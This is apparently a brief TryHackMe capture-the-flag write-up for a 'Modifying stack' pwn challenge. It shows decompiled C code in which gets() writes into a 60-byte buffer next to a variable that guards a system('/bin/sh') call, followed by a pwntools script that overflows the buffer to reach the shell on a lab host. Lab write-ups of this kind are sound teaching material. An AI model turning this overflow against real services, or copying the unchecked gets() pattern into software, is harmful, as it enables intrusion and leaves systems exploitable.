01 Modifying stack

#pwn #thm

put in ghidra, now

void main(void)

{
  char local_48 [60];
  int local_c;
  
  local_c = 0x539;
  setup();
  banner();
  puts(
      "Hello!, I am going to shopping.\nMy mom told me to buy some ingredients.\nUmmm.. But I have l ow memory capacity, So I forgot most of them.\nAnyway, she is preparing Briyani for lunch, Can  you help me to buy those items :D\n"
      );
  puts("Type the required ingredients to make briyani: ");
  gets(local_48);
  if (local_c == 0x539) {
    puts("Nah bruh, you lied me :(\nShe did Tomato rice instead of briyani :/");
                    /* WARNING: Subroutine does not return */
    exit(0x539);
  }
  puts("Thanks, Here\'s a small gift for you <3");
  system("/bin/sh");
  return;
}
Copy

we now the max buffer for local_48 is 60 and we want change the buffer of local_c
here its my solver:

import pwn
from pwnlib.util.net import p32

p = pwn.remote('10.10.22.66','9001')
pwn.context.log_level = 'debug'
p.recv()
p.sendlineafter(':', b'A'*60 + p32(0x1))
p.interactive()
Copy

because it only check if local_c == 0x539 we can set whatever hex we want.

here are the flag